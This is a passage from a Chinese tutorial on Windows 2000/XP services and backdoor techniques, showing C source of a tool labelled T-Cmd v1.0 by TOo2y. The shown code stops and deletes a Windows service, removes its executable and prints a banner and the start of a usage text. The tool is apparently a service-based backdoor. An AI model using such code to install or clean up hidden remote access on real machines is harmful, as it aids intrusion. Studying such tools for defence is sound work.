|
浅析Windows 2000/XP服务与后门技术(13) printf("Failure !\n"); } CloseServiceHandle(schSCManager); } else { printf("Stopping Service .... "); if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0) { if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) { printf("already Stopped !\n"); } else { printf("Pending ... "); if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0) { while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING) { Sleep(10); QueryServiceStatus(schService,&RemoveServiceStatus); } if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED) { printf("Success !\n"); } else { printf("Failure !\n"); } } else { printf("Failure !\n"); } } } else { printf("Query Failure !\n"); }
printf("Removing Service .... "); if(DeleteService(schService)==0) { printf("Failure !\n"); } else { printf("Success !\n"); } }
CloseServiceHandle(schSCManager); CloseServiceHandle(schService);
printf("Removing File ....... "); Sleep(1500); hSearch=FindFirstFile(lpImagePath,&FileData); if(hSearch==INVALID_HANDLE_VALUE) { printf("no Exists !\n"); } else { if(DeleteFile(lpImagePath)==0) { printf("Failure !\n"); } else { printf("Success !\n"); } FindClose(hSearch); }
return ; }
void Start() { printf("\n"); printf("\t\t---[ T-Cmd v1.0 beta, by TOo2y ]---\n"); printf("\t\t---[ E-mail: TOo2y@safechina.net ]---\n"); printf("\t\t---[ HomePage: www.safechina.net ]---\n"); printf("\t\t---[ Date: 02-05-2003 ]---\n\n"); return ; }
void Usage() { printf("Attention:\n"); printf(" Be careful with this software, Good luck !\n\n"); printf("Usage Show:\n");
|